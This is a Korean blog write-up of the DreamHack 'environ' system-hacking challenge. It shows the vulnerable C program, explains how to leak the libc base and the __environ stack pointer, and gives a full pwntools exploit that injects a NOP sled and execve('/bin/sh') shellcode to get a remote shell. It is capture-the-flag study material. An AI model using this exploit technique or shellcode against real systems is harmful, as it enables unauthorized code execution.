Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] 문제풀이(environ) 본문

Hack/DreamHack

[System_Hacking] 문제풀이(environ)

CIDY 2022. 7. 17. 03:51
// 64-bit, canary, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main()
{
    char buf[16];
    size_t size;
    long value;
    void (*jump)();

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    printf("Data: ");
    read(0, buf, size);

    printf("*jmp=");
    scanf("%ld", &value);

    jump = *(long *)value;
    jump();

    return 0;
}

 

세팅이 잘 되어있다. 그런데 함수 포인터에 값을 넣을때 value를 한 번 참조한다. -> 즉 value에는 쉘코드가 적혀있는 곳의 주소가 들어가야 한다는 말이다. (buf에 쉘코드를 적어줄거면 buf의 주소가 적힌 곳을 value에 넣어줘야 함 -> 그래야 jump는 쉘코드의 주소가 들어가게 됨.)

 

그런데 우리가 할 수 있는건 립시릭밖에 없다. -> buf를 위해서는 스택의 릭이 필요하다. -> environ의 이용이 필요하다. 

 

environ에 들어있는 건 buf주소 + 0x118이다. ↓

 

 

그럼 buf에 뭘 주면 될까? 0x118개 이상의 nop과 쉘코드를 주면 된다. 그리고 value에 environ == buf + 0x118을 주면 거기를 참조해 실행이 되니 쉘코드가 잘 실행될거다. 

 

카나리 검증 이전에 함수 포인터를 실행하니 카나리가 망가지는 것은 상관없다.

 

from pwn import *

p = remote("host3.dreamhack.games", 11965)
#p = process("./environ")
e = ELF("./environ")
libc = ELF("libc.so.6")
#libc = e.libc

p.recvuntil(b": ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
environ = libc_base + libc.sym['__environ']
print(hex(environ))

p.sendlineafter(b": ", str(0x118 + 24))
p.sendafter(b": ", b"\x90" * 0x118 + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")
p.sendlineafter(b"=", str(environ))

p.interactive()